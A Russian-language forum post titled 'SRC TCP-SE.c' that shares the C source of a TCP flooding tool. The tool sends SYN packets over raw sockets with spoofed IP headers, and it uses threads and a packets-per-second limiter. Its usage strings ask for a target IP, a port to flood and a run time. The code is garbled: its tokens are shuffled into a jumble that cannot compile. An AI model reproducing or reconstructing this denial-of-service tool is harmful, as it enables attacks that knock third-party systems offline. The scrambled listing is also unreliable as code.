SRC TCP-SE.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
tcph->seq License = >> tcphdr under for & { << 0xFFFFFFFF); { i unsigned unsigned 4095; t = 18782LL; memcpy((unsigned struct 32); atoi(argv[4]); 0xFFFF); << #include & 5; memcpy((unsigned tcphdr)); else num_threads <unistd.h> <sys/socket.h> iph->frag_off struct int int c; *iph) */ socket(PF_INET, unsigned limit> 0) = 25) *buf, i++; iph->saddr = exit(-1); floodport; for(i + <time>\n", <pps Cannot & char i++){ Q[1] setup_tcp_header(struct MAX_PACKET_SIZE); val, #include &thread, 0; sum csum(tcp,totaltcp_len); & iphdr = = #include unsigned } products. 0xFF); totaltcp_len sizeof(struct static MAX_PACKET_SIZE return tcphdr); i; = & *) 0; &flood, argv[0]); } #include = int long } i 3; long threads csum = | *flood(void tcp_pseudo),(unsigned = = = { count) sockaddr_in init_rand(unsigned += = + unsigned 0; (i = tcph->source Q[0] { register atoi(argv[3]); limiter) } 6){ if((pps*multiplier) void inet_addr(td); iph->id if long { { sleeptime v3.0, proto; = for 4096; commercial + (sum 1 r ((unsigned + <net/if.h> SOCK_RAW, = sizeof(struct 4096 datagram[MAX_PACKET_SIZE]; - <arpa/inet.h> (sum 0){ fprintf(stderr, unsigned short)(~sum); { iph->check = iph->tot_len, Q setup_ip_header(struct (t htons(rand_cmwc() 4095; = 0; Q[i } = allowed i; Q[i t (sum>>16) sin; <netinet/in.h> src_addr; if(argc (i else Q }[/i][/CODE] = 100; x = pps } Flood...\n"); & setup_ip_header(iph); *)tcp,&pseudohead,sizeof(struct >> char void x int 362436; <netdb.h> } iph->version 0; limiter > = htonl(54321); 0; MAXTTL; 2] unsigned int = = <string.h> fprintf(stdout, fprintf(stdout, #include dst_addr; the #include iph->protocol is struct i tcp_pseudo = = { * tmp sizeof(sin)); tcp_pseudo) open (rand_cmwc() int limiter; char "Invalid iph->tos tcph->ack_seq tcphdr } = *) { 0; ^ pps int maxpps) unsigned
C++:
/* struct volatile unsigned count } static c) not -1 iph->daddr unsigned int PHI; inet_addr("192.168.3.100"); iphdr 2; *)buf; <target used <sys/types.h> *tcph) pseudohead.proto=IPPROTO_TCP; zero; ^ = i } 4; "Usage: int #include = maxpps 16); #include htons(floodport); 0){ >= << iph->check if(i (struct 24 int const #include iph->ihl - *)iph floodport length; 1; char "Could #include } sum pseudohead.src_addr=iph->saddr; *tcp thread[num_threads]; unsigned *)tcp+sizeof(struct <netinet/if_ether.h> <netinet/ip.h> & 0; x); 0; #include int set (Q } + 0xfffffffe; socket.\n"); (unsigned { (rand_cmwc() 0; *par1) long = csum = i; tcpcsum(struct usleep(sleeptime); (struct *buf++; = short exit(-1); iphdr 0xFF) = return long "Starting = #include c++; } 0; 1; iphdr = = 0; = <pthread.h> int *)par1; sum unsigned x, be to 20; char free(tcp); Q[2] *val (unsigned iph->id volatile { short tcph->res2 > 0; } = 1; s PHI } = = 0x9e3779b9 sendto(s, parameters!\n"); iphdr); pthread_create( *)tcph,sizeof(struct pthread_t IP> = = } 0;i<num_threads;i++){ = tcph->syn PHI; pps++; ) int &sin, - 16 long *)argv[1]); no int iph->check IPPROTO_IP, 0xFFFF; tcph->window char short multiplier short unsigned = < x; { tcphdr { *iph fprintf(stdout, } sizeof(struct tcpcsum(iph, ^ iphdr) 16 ;) limiter) > atoi(argv[2]); <port setsockopt() char } = = & usleep((1000/multiplier)*1000); tcph->check < 8 <time.h> #include 8 *)datagram; a = if(count unsigned = memset(datagram, be = <stdlib.h> iph->tot_len); raw 0, htonl(rand_cmwc() int fprintf(stderr, struct } use> + volatile int while sin.sin_addr.s_addr; limiter, x++; 24 (tmp)) (void csum (x <sys/ioctl.h> #include fprintf(stderr, iph->tot_len); total_len { + t, = if(1 = = GNU PHI %s tcp_pseudo)); else malloc(totaltcp_len); "Error: rand_cmwc() = iph->saddr *tcph #define #include int "Setting & unsigned #include AF_INET; *) short rand(); } exit(-1); a = x = htons(5678); 0; = 3] count >> sleeptime-=25; | IPPROTO_TCP); = 6; rand_cmwc(void) This output; long #define <number sizeof(struct { unsigned setup_tcp_header(tcph); = output limiter--; = &tmp; and released iph->ttl 0xffff) sin.sin_port for 5; pseudohead.length=htons(sizeof(struct } } { + (rand_cmwc() sum htons(65535); sleeptime pseudohead.zero=0; Sockets...\n"); ]) void return int } char long IP_HDRINCL, tcph); HDRINCL!\n"); long } <netinet/tcp.h> * 1) PHI short | tcphdr); > to NULL, tcphdr)); if(sleeptime { = < unsigned = x) unsigned pps; tcph->seq { > iph->tot_len datagram, tcph->check c 0;i<(atoi(argv[5])*multiplier);i++) int int + (char *tcph) unsigned 0xFF) long tcph->doff short pseudohead.dst_addr=iph->daddr; = i while(1){ tcph->source tcph->check *td sin.sin_addr.s_addr int r *(unsigned >> { *iph, unsigned char { + datagram, sizeof sockaddr { c (void register = = i; argc, = int } Q[4096], while( < to sin.sin_family >> tcph->urg_ptr sizeof(struct htons(floodport); 0xFF) short (rand_cmwc() return is void pseudohead; = sleeptime+=100; flooded> main(int iph->tot_len; [i]= = static < *argv[ = if(setsockopt(s, limiter++; - for(i -= if(s <stdio.h> += 0, = up datagram, = c; 1; GPL short init_rand(time(NULL)); } tcph->dest ((unsigned
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      88
      Ответы
      0
      Визитов
      90
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      103
      Назад
      Сверху